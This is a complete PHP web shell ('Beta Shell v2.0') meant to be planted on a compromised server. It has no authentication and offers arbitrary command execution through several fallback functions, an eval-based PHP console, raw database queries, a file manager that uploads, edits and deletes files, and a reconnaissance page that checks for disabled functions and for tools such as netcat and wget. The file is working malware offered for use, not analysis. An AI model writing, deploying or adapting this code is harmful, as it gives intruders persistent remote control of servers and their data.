<?php

session_start();

// ==================== FUNCTIONS ====================

function get_current_path($dir) {
    return str_replace('\\', '/', realpath($dir));
}

function format_size($size) {
    if ($size >= 1073741824) return round($size / 1073741824, 2) . ' GB';
    if ($size >= 1048576) return round($size / 1048576, 2) . ' MB';
    if ($size >= 1024) return round($size / 1024, 2) . ' KB';
    return $size . ' B';
}

function get_perms($file) {
    $perms = fileperms($file);
    if (($perms & 0xC000) == 0xC000) $info = 's';
    elseif (($perms & 0xA000) == 0xA000) $info = 'l';
    elseif (($perms & 0x8000) == 0x8000) $info = '-';
    elseif (($perms & 0x4000) == 0x4000) $info = 'd';
    else $info = '?';
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
    return $info;
}

function list_drives() {
    $drives = array();
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
        for ($i = 65; $i <= 90; $i++) {
            $letter = chr($i) . ':';
            if (is_dir($letter . '\\')) $drives[] = $letter;
        }
    }
    return $drives;
}

function recursive_rmdir($dir) {
    $files = array_diff(scandir($dir), array('.','..'));
    foreach ($files as $f) {
        (is_dir("$dir/$f")) ? recursive_rmdir("$dir/$f") : unlink("$dir/$f");
    }
    return rmdir($dir);
}

// ==================== ACTION HANDLER ====================

$dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
$action = isset($_GET['act']) ? $_GET['act'] : '';

// File operations via POST
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['file_action'])) {
    $target = isset($_POST['target']) ? $_POST['target'] : '';
    $do_ajax = isset($_POST['ajax']) ? true : false;
    
    switch ($_POST['file_action']) {
        case 'delete':
            if (is_file($target)) unlink($target);
            elseif (is_dir($target)) recursive_rmdir($target);
            break;
        case 'rename':
            $newname = isset($_POST['newname']) ? $_POST['newname'] : '';
            if ($newname) rename($target, dirname($target) . '/' . $newname);
            break;
        case 'chmod':
            $perms = isset($_POST['perms']) ? $_POST['perms'] : '';
            if ($perms) chmod($target, octdec($perms));
            break;
        case 'mkdir':
            $newdir = isset($_POST['newdir']) ? $_POST['newdir'] : '';
            if ($newdir) mkdir($newdir);
            break;
        case 'upload':
            if (isset($_FILES['file'])) {
                move_uploaded_file($_FILES['file']['tmp_name'], $dir . '/' . $_FILES['file']['name']);
            }
            break;
        case 'download':
            if (is_file($target)) {
                header('Content-Description: File Transfer');
                header('Content-Type: application/octet-stream');
                header('Content-Disposition: attachment; filename="' . basename($target) . '"');
                header('Content-Length: ' . filesize($target));
                readfile($target);
                exit;
            }
            break;
    }
    if ($do_ajax) { echo 'ok'; exit; }
    if (!empty($_POST['file_action']) && $_POST['file_action'] != 'upload') {
        header("Location: ?act=file&dir=" . urlencode($dir));
        exit;
    }
}

// ==================== CSS/HEADER ====================

echo "<!DOCTYPE html>
<html><head><title>Beta Shell v2.0</title>
<meta name='robots' content='noindex,nofollow'>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body { background: #0a0a0a; color: #c0c0c0; font-family: 'Courier New', 'Consolas', monospace; font-size: 13px; }
a { color: #0f0; text-decoration: none; }
a:hover { color: #fff; background: #0f0; }
.header { background: #0f0; color: #000; padding: 10px 20px; font-size: 18px; font-weight: bold; letter-spacing: 2px; border-bottom: 2px solid #090; display: flex; justify-content: space-between; align-items: center; }
.header span { color: #060; font-size: 10px; letter-spacing: 0; }
.menu { background: #111; border-bottom: 1px solid #222; padding: 6px 20px; display: flex; flex-wrap: wrap; }
.menu a { color: #0f0; margin-right: 5px; padding: 4px 12px; font-size: 12px; border: 1px solid transparent; }
.menu a:hover { background: #0f0; color: #000; border-color: #0f0; }
.menu a.active { background: #0f0; color: #000; border-color: #0f0; }
.content { padding: 15px 20px; }
h2 { color: #0f0; margin: 15px 0 10px 0; font-size: 15px; border-bottom: 1px solid #222; padding-bottom: 5px; text-transform: uppercase; letter-spacing: 1px; }
table { width: 100%; border-collapse: collapse; margin: 8px 0; font-size: 12px; }
th { background: #151515; color: #0f0; padding: 6px 10px; text-align: left; font-size: 11px; border: 1px solid #222; text-transform: uppercase; letter-spacing: 1px; }
td { padding: 5px 10px; border: 1px solid #1a1a1a; }
tr:hover { background: #111; }
tr:nth-child(even) { background: #0d0d0d; }
tr:nth-child(even):hover { background: #111; }
input, select, textarea { background: #000; color: #0f0; border: 1px solid #222; padding: 5px 8px; font-family: 'Courier New', monospace; font-size: 12px; outline: none; }
input:focus, textarea:focus { border-color: #0f0; }
input[type=submit], button { background: #0f0; color: #000; border: none; padding: 6px 15px; cursor: pointer; font-weight: bold; font-family: 'Courier New', monospace; font-size: 12px; text-transform: uppercase; letter-spacing: 1px; }
input[type=submit]:hover, button:hover { background: #090; }
.path { color: #666; padding: 6px 0; font-size: 11px; word-break: break-all; border-bottom: 1px solid #1a1a1a; margin-bottom: 10px; }
.path a { color: #888; }
.path a:hover { color: #0f0; background: none; }
.info-box { background: #111; border: 1px solid #222; padding: 12px; margin: 10px 0; font-size: 12px; line-height: 1.8; border-left: 3px solid #0f0; }
.info-box b { color: #0f0; }
.bad { color: #f33; }
.good { color: #0f0; }
.warn { color: #ff0; }
textarea.code { width: 100%; min-height: 350px; background: #000; color: #0f0; border: 1px solid #222; padding: 10px; font-size: 12px; }
.toolbar { background: #111; border: 1px solid #222; padding: 8px 12px; margin: 8px 0; display: flex; gap: 8px; align-items: center; flex-wrap: wrap; }
.bar-bg { background: #151515; border: 1px solid #222; height: 18px; margin: 3px 0; width: 100%; }
.bar-fill { height: 18px; background: #0f0; }
::-webkit-scrollbar { width: 6px; }
::-webkit-scrollbar-track { background: #111; }
::-webkit-scrollbar-thumb { background: #333; }
.flash { animation: flash 0.5s ease; }
@keyframes flash { 0% { background: #0f0; color: #000; } 100% { background: transparent; } }
</style>
</head><body>";

// Header
echo "<div class='header'>Beta Shell <span>v2.0 · " . gethostname() . "</span></div>";

// Menu
echo "<div class='menu'>
    <a href='?act=file&dir=" . urlencode($dir) . "' " . (in_array($action, array('', 'file', 'edit', 'save'))?'class=active':'') . ">[FM]</a>
    <a href='?act=cmd&dir=" . urlencode($dir) . "' " . ($action=='cmd'?'class=active':'') . ">[CMD]</a>
    <a href='?act=php&dir=" . urlencode($dir) . "' " . ($action=='php'?'class=active':'') . ">[PHP]</a>
    <a href='?act=db&dir=" . urlencode($dir) . "' " . ($action=='db'?'class=active':'') . ">[DB]</a>
    <a href='?act=info&dir=" . urlencode($dir) . "' " . ($action=='info'?'class=active':'') . ">[INFO]</a>
    <a href='?act=sec&dir=" . urlencode($dir) . "' " . ($action=='sec'?'class=active':'') . ">[SEC]</a>
</div>";

echo "<div class='content'>";

// ==================== SERVER INFO ====================
if ($action == 'info') {
    echo "<h2>Server Information</h2>";
    echo "<div class='info-box'>";
    
    $disable_functions = ini_get('disable_functions');
    $open_basedir = ini_get('open_basedir');
    
    $info = array(
        'Server Software' => $_SERVER['SERVER_SOFTWARE'] ?? 'N/A',
        'PHP Version' => phpversion(),
        'PHP Built On' => php_uname(),
        'Server IP' => $_SERVER['SERVER_ADDR'] ?? 'N/A',
        'Remote IP' => $_SERVER['REMOTE_ADDR'] ?? 'N/A',
        'Server Name' => $_SERVER['SERVER_NAME'] ?? 'N/A',
        'Document Root' => $_SERVER['DOCUMENT_ROOT'] ?? 'N/A',
        'Script Path' => __FILE__,
        'Current Dir' => getcwd(),
        'Current User' => function_exists('posix_getpwuid') ? posix_getpwuid(posix_geteuid())['name'] . ' (' . posix_geteuid() . ')' : (function_exists('exec') ? trim(exec('whoami 2>/dev/null')) : 'N/A'),
        'PHP User' => get_current_user(),
        'PHP SAPI' => php_sapi_name(),
        'Safe Mode' => ini_get('safe_mode') ? '<span class=bad>On</span>' : '<span class=good>Off</span>',
        'Open Basedir' => $open_basedir ? $open_basedir : '<span class=good>Disabled</span>',
        'Disable Functions' => $disable_functions ? $disable_functions : '<span class=good>None</span>',
        'allow_url_fopen' => ini_get('allow_url_fopen') ? '<span class=good>On</span>' : '<span class=bad>Off</span>',
        'allow_url_include' => ini_get('allow_url_include') ? '<span class=good>On</span>' : '<span class=bad>Off</span>',
        'max_execution_time' => ini_get('max_execution_time') . 's',
        'memory_limit' => ini_get('memory_limit'),
        'upload_max_filesize' => ini_get('upload_max_filesize'),
        'post_max_size' => ini_get('post_max_size'),
        'OS' => php_uname('s') . ' ' . php_uname('r') . ' ' . php_uname('m'),
        'Hostname' => php_uname('n'),
    );
    
    foreach ($info as $key => $val) {
        echo "<b>" . str_pad($key, 22, ' ') . ":</b> $val<br>";
    }
    
    echo "<br><b>Disk Usage:</b><br>";
    $total = disk_total_space('.');
    $free = disk_free_space('.');
    $used = $total - $free;
    $pct = ($total > 0) ? round(($used/$total)*100, 1) : 0;
    echo "Total: " . format_size($total) . " | Used: " . format_size($used) . " | Free: " . format_size($free) . "<br>";
    echo "<div class='bar-bg'><div class='bar-fill' style='width:" . $pct . "%'></div></div>";
    echo "<span style='color:#888;font-size:11px;'>" . $pct . "% used</span>";
    
    echo "</div>";
}

// ==================== SECURITY CHECK ====================
elseif ($action == 'sec') {
    echo "<h2>Security Checks</h2><div class='info-box'>";
    
    echo "<b>Database Support:</b><br>";
    $db_checks = array(
        'MySQL (mysql)' => function_exists('mysql_connect'),
        'MySQLi' => function_exists('mysqli_connect'),
        'PostgreSQL' => function_exists('pg_connect'),
        'SQLite' => class_exists('SQLite3'),
        'MSSQL' => function_exists('sqlsrv_connect') || function_exists('mssql_connect'),
        'Oracle' => function_exists('oci_connect'),
    );
    foreach ($db_checks as $key => $val) {
        echo "&nbsp;&nbsp;" . ($val ? '<span class=good>✔</span>' : '<span class=bad>✘</span>') . " $key<br>";
    }
    
    echo "<br><b>Execution Functions:</b><br>";
    $funcs = array('exec', 'system', 'shell_exec', 'passthru', 'popen', 'proc_open', 'pcntl_exec');
    $disabled = explode(',', ini_get('disable_functions'));
    foreach ($funcs as $f) {
        $avail = function_exists($f) && !in_array($f, $disabled);
        echo "&nbsp;&nbsp;" . ($avail ? '<span class=good>✔</span>' : '<span class=bad>✘</span>') . " $f()<br>";
    }
    
    echo "<br><b>Network Functions:</b><br>";
    $net = array('curl_version', 'fsockopen', 'pfsockopen', 'stream_socket_client', 'socket_create');
    foreach ($net as $f) {
        echo "&nbsp;&nbsp;" . (function_exists($f) ? '<span class=good>✔</span>' : '<span class=bad>✘</span>') . " $f()<br>";
    }
    
    echo "<br><b>File Functions:</b><br>";
    $file_funcs = array('fopen', 'fread', 'fwrite', 'file_get_contents', 'file_put_contents', 'readfile', 'copy', 'rename', 'chmod');
    foreach ($file_funcs as $f) {
        echo "&nbsp;&nbsp;" . (function_exists($f) ? '<span class=good>✔</span>' : '<span class=bad>✘</span>') . " $f()<br>";
    }
    
    echo "<br><b>Other Tools:</b><br>";
    $tools = array(
        'Perl' => 'which perl 2>/dev/null || where perl 2>nul',
        'Python' => 'python --version 2>/dev/null || python3 --version 2>/dev/null',
        'Wget' => 'which wget 2>/dev/null',
        'Curl' => 'which curl 2>/dev/null',
        'Netcat' => 'which nc 2>/dev/null',
        'Git' => 'which git 2>/dev/null',
        'Compilers (gcc)' => 'which gcc 2>/dev/null || which cc 2>/dev/null',
    );
    foreach ($tools as $tool => $check) {
        $out = '';
        if (function_exists('exec') && !in_array('exec', $disabled)) {
            exec($check . ' 2>/dev/null', $out);
        }
        echo "&nbsp;&nbsp;" . (!empty($out) ? '<span class=good>✔</span>' : '<span class=bad>✘</span>') . " $tool<br>";
    }
    
    echo "<br><b>PHP Extensions:</b><br>";
    $exts = array('json', 'xml', 'zip', 'gd', 'mbstring', 'openssl', 'mysqli', 'pdo', 'soap', 'sockets', 'curl');
    foreach ($exts as $ext) {
        echo "&nbsp;&nbsp;" . (extension_loaded($ext) ? '<span class=good>✔</span>' : '<span class=bad>✘</span>') . " $ext<br>";
    }
    
    echo "</div>";
}

// ==================== PHP CONSOLE ====================
elseif ($action == 'php') {
    echo "<h2>PHP Console</h2>";
    echo "<div class='toolbar'>";
    echo "<span style='color:#555;'>Evaluate PHP code:</span>";
    echo "</div>";
    echo "<form method='post' action='?act=php&dir=" . urlencode($dir) . "'>";
    echo "<textarea name='phpcode' class='code'>" . (isset($_POST['phpcode']) ? htmlspecialchars($_POST['phpcode']) : '// Enter PHP code here') . "</textarea><br><br>";
    echo "<input type='submit' value='Execute ▶'>";
    echo "</form>";
    if (isset($_POST['phpcode'])) {
        echo "<h2>Output</h2><div class='info-box' style='background:#000; border-left-color:#0f0;'>";
        echo "<pre style='color:#0f0; margin:0; overflow-x:auto;'>";
        ob_start();
        try {
            eval($_POST['phpcode']);
        } catch (Throwable $e) {
            echo "Error: " . $e->getMessage();
        }
        $out = ob_get_clean();
        echo htmlspecialchars($out);
        echo "</pre></div>";
    }
}

// ==================== DATABASE ====================
elseif ($action == 'db') {
    echo "<h2>Database Manager</h2>";
    $dbtype = isset($_POST['dbtype']) ? $_POST['dbtype'] : 'mysqli';
    $dbhost = isset($_POST['dbhost']) ? $_POST['dbhost'] : 'localhost';
    $dbuser = isset($_POST['dbuser']) ? $_POST['dbuser'] : 'root';
    $dbpass = isset($_POST['dbpass']) ? $_POST['dbpass'] : '';
    $dbname = isset($_POST['dbname']) ? $_POST['dbname'] : '';
    $dbport = isset($_POST['dbport']) ? $_POST['dbport'] : '3306';
    $dbquery = isset($_POST['dbquery']) ? $_POST['dbquery'] : 'SELECT VERSION();';
    
    echo "<form method='post'>";
    echo "<table>";
    echo "<tr><td width='120'>Type:</td><td>
        <select name='dbtype'>
            <option value='mysqli' " . ($dbtype=='mysqli'?'selected':'') . ">MySQLi</option>
            <option value='mysql' " . ($dbtype=='mysql'?'selected':'') . ">MySQL (old)</option>
            <option value='pdo_mysql' " . ($dbtype=='pdo_mysql'?'selected':'') . ">PDO MySQL</option>
        </select></td></tr>";
    echo "<tr><td>Host:</td><td><input type='text' name='dbhost' value='" . htmlspecialchars($dbhost) . "'></td></tr>";
    echo "<tr><td>Port:</td><td><input type='text' name='dbport' value='" . htmlspecialchars($dbport) . "' style='width:80px;'></td></tr>";
    echo "<tr><td>User:</td><td><input type='text' name='dbuser' value='" . htmlspecialchars($dbuser) . "'></td></tr>";
    echo "<tr><td>Pass:</td><td><input type='text' name='dbpass' value='" . htmlspecialchars($dbpass) . "'></td></tr>";
    echo "<tr><td>Database:</td><td><input type='text' name='dbname' value='" . htmlspecialchars($dbname) . "'></td></tr>";
    echo "<tr><td>Query:</td><td><textarea name='dbquery' style='width:100%;height:60px;'>" . htmlspecialchars($dbquery) . "</textarea></td></tr>";
    echo "</table>";
    echo "<input type='submit' value='Execute Query'>";
    echo "</form>";
    
    if (isset($_POST['dbhost']) && isset($_POST['dbquery'])) {
        echo "<h2>Query Result</h2><div class='info-box'>";
        try {
            if ($dbtype == 'mysqli') {
                $conn = @new mysqli($dbhost, $dbuser, $dbpass, $dbname, (int)$dbport);
                if ($conn->connect_error) {
                    echo "<span class='bad'>Connection Error: " . $conn->connect_error . "</span>";
                } else {
                    if ($result = $conn->query($dbquery)) {
                        if ($result instanceof mysqli_result) {
                            if ($result->num_rows > 0) {
                                echo "<table><tr>";
                                $fields = $result->fetch_fields();
                                foreach ($fields as $field) echo "<th>" . htmlspecialchars($field->name) . "</th>";
                                echo "</tr>";
                                while ($row = $result->fetch_assoc()) {
                                    echo "<tr>";
                                    foreach ($row as $val) echo "<td>" . htmlspecialchars(substr($val ?? '', 0, 200)) . "</td>";
                                    echo "</tr>";
                                }
                                echo "</table>";
                                echo "<div style='color:#0f0;margin-top:5px;'>" . $result->num_rows . " row(s) returned</div>";
                            } else {
                                echo "Query executed. 0 rows returned.";
                            }
                        } else {
                            echo "Query executed successfully. " . $conn->affected_rows . " row(s) affected.";
                        }
                    } else {
                        echo "<span class='bad'>Query Error: " . $conn->error . "</span>";
                    }
                    $conn->close();
                }
            } elseif ($dbtype == 'pdo_mysql') {
                $conn = @new PDO("mysql:host=$dbhost;port=$dbport;dbname=$dbname", $dbuser, $dbpass);
                $stmt = $conn->query($dbquery);
                if ($stmt && $stmt->columnCount() > 0) {
                    echo "<table><tr>";
                    for ($i = 0; $i < $stmt->columnCount(); $i++) {
                        $col = $stmt->getColumnMeta($i);
                        echo "<th>" . htmlspecialchars($col['name']) . "</th>";
                    }
                    echo "</tr>";
                    while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
                        echo "<tr>";
                        foreach ($row as $val) echo "<td>" . htmlspecialchars(substr($val ?? '', 0, 200)) . "</td>";
                        echo "</tr>";
                    }
                    echo "</table>";
                } else {
                    echo "Query executed successfully.";
                }
            }
        } catch (Exception $e) {
            echo "<span class='bad'>Error: " . $e->getMessage() . "</span>";
        }
        echo "</div>";
    }
}

// ==================== COMMAND ====================
elseif ($action == 'cmd') {
    echo "<h2>Command Execution</h2>";
    $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'id';
    echo "<div class='toolbar'>";
    echo "<span style='color:#555;'>$ </span>";
    echo "<form method='post' action='?act=cmd&dir=" . urlencode($dir) . "' style='display:flex;flex:1;gap:8px;'>";
    echo "<input type='text' name='cmd' value='" . htmlspecialchars($cmd) . "' style='flex:1;font-size:13px;' autofocus>";
    echo "<input type='submit' value='Run'>";
    echo "</form></div>";
    
    if (isset($_POST['cmd'])) {
        echo "<h2>Output</h2><div class='info-box' style='background:#000;'>";
        echo "<pre style='color:#0f0; margin:0; overflow-x:auto;'>";
        $retcode = -1;
        
        if (function_exists('exec') && !in_array('exec', explode(',', ini_get('disable_functions')))) {
            exec($cmd, $output_lines, $retcode);
            echo htmlspecialchars(implode("\n", $output_lines));
        } elseif (function_exists('system')) {
            ob_start();
            system($cmd, $retcode);
            echo htmlspecialchars(ob_get_clean());
        } elseif (function_exists('shell_exec') && !in_array('shell_exec', explode(',', ini_get('disable_functions')))) {
            echo htmlspecialchars(shell_exec($cmd));
        } elseif (function_exists('passthru')) {
            ob_start();
            passthru($cmd, $retcode);
            echo htmlspecialchars(ob_get_clean());
        } elseif (function_exists('popen')) {
            $h = @popen($cmd, 'r');
            if ($h) {
                while (!feof($h)) echo htmlspecialchars(fgets($h));
                pclose($h);
            }
        } else {
            echo "<span class='bad'>[!] No command execution functions available</span>";
        }
        echo "</pre>";
        echo "</div>";
    }
}

// ==================== FILE MANAGER ====================
else {
    $dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
    $dir = str_replace('\\', '/', realpath($dir));
    if (!is_dir($dir)) $dir = getcwd();
    
    echo "<h2>File Manager</h2>";
    
    // Path breadcrumb
    echo "<div class='path'>";
    $drives = list_drives();
    if (!empty($drives)) {
        foreach ($drives as $drive) {
            echo "<a href='?dir=" . urlencode($drive . '/') . "'>[" . substr($drive, 0, 1) . ":]</a> ";
        }
        echo "| ";
    }
    $parts = explode('/', $dir);
    $path_build = '';
    echo "<a href='?dir=/'>~</a> ";
    foreach ($parts as $part) {
        if ($part === '') continue;
        $path_build .= '/' . $part;
        echo "/<a href='?dir=" . urlencode($path_build) . "'>$part</a>";
    }
    echo "</div>";
    
    // Toolbar
    echo "<div class='toolbar'>";
    echo "<form method='post' enctype='multipart/form-data' style='display:inline;'>";
    echo "<input type='hidden' name='file_action' value='upload'>";
    echo "<input type='file' name='file' id='upload-input' style='display:none;' onchange='this.form.submit()'>";
    echo "<button type='button' onclick='document.getElementById(\"upload-input\").click()'>Upload</button>";
    echo "</form>";
    
    echo "<form method='post' style='display:inline;'>";
    echo "<input type='hidden' name='file_action' value='mkdir'>";
    echo "<input type='text' name='newdir' placeholder='new folder' style='width:150px;'> ";
    echo "<input type='submit' value='Mkdir'>";
    echo "</form>";
    
    echo "<span style='flex:1;'></span>";
    echo "<span style='color:#555;font-size:11px;'>" . count(scandir($dir)) . " items</span>";
    echo "</div>";
    
    // File list
    $files = scandir($dir);
    echo "<table>";
    echo "<tr><th width='50%'>Name</th><th width='80'>Size</th><th width='90'>Perms</th><th width='150'>Modified</th><th width='80'>Actions</th></tr>";
    
    if ($dir != '/') {
        $parent = dirname($dir);
        echo "<tr><td colspan='5'><a href='?dir=" . urlencode($parent) . "' style='color:#ff0;'>[ .. / .. ]</a></td></tr>";
    }
    
    foreach ($files as $file) {
        if ($file == '.' || $file == '..') continue;
        $full = $dir . '/' . $file;
        $is_dir = is_dir($full);
        $size = $is_dir ? '-' : format_size(filesize($full));
        $perms = get_perms($full);
        $mtime = date('Y-m-d H:i:s', filemtime($full));
        
        echo "<tr>";
        if ($is_dir) {
            echo "<td><a href='?dir=" . urlencode($full) . "' style='color:#ff0;'><b>$file</b></a></td>";
        } else {
            echo "<td><a href='?act=edit&file=" . urlencode($full) . "&dir=" . urlencode($dir) . "'>$file</a></td>";
        }
        echo "<td>$size</td>";
        echo "<td style='font-size:11px;'>$perms</td>";
        echo "<td style='font-size:11px;'>$mtime</td>";
        echo "<td style='font-size:11px;'>";
        if (!$is_dir) {
            echo "<a href='?act=edit&file=" . urlencode($full) . "&dir=" . urlencode($dir) . "' style='margin-right:5px;'>Edit</a>";
        }
        echo "<a href='#' onclick='if(confirm(\"Delete $file?\")){fetch(\"?dir=" . urlencode($dir) . "\",{method:\"POST\",headers:{\"Content-Type\":\"application/x-www-form-urlencoded\"},body:\"file_action=delete&target=" . urlencode($full) . "&ajax=1\"}).then(()=>location.reload())}' style='color:#f33;'>Del</a>";
        echo "</td></tr>";
    }
    echo "</table>";
    
    // File edit
    if (isset($_GET['act']) && $_GET['act'] == 'edit' && isset($_GET['file'])) {
        $file = $_GET['file'];
        if (is_file($file)) {
            $content = @file_get_contents($file);
            echo "<h2>Editing: " . basename($file) . " <span class='count'>(" . format_size(filesize($file)) . ")</span></h2>";
            echo "<div class='toolbar'>";
            echo "<span style='color:#555;'>Path: " . htmlspecialchars($file) . "</span>";
            echo "<span style='flex:1;'></span>";
            echo "<a href='?act=file&dir=" . urlencode($dir) . "'>Back</a>";
            echo "</div>";
            echo "<form method='post' action='?act=save&file=" . urlencode($file) . "&dir=" . urlencode($dir) . "'>";
            echo "<textarea name='content' class='code'>" . htmlspecialchars($content) . "</textarea><br>";
            echo "<input type='submit' value='Save'>";
            echo "</form>";
        }
    }
    if (isset($_GET['act']) && $_GET['act'] == 'save' && isset($_GET['file']) && isset($_POST['content'])) {
        @file_put_contents($_GET['file'], $_POST['content']);
        echo "<script>alert('File saved!'); window.location='?dir=" . urlencode($dir) . "';</script>";
    }
}

echo "</div></body></html>";
?>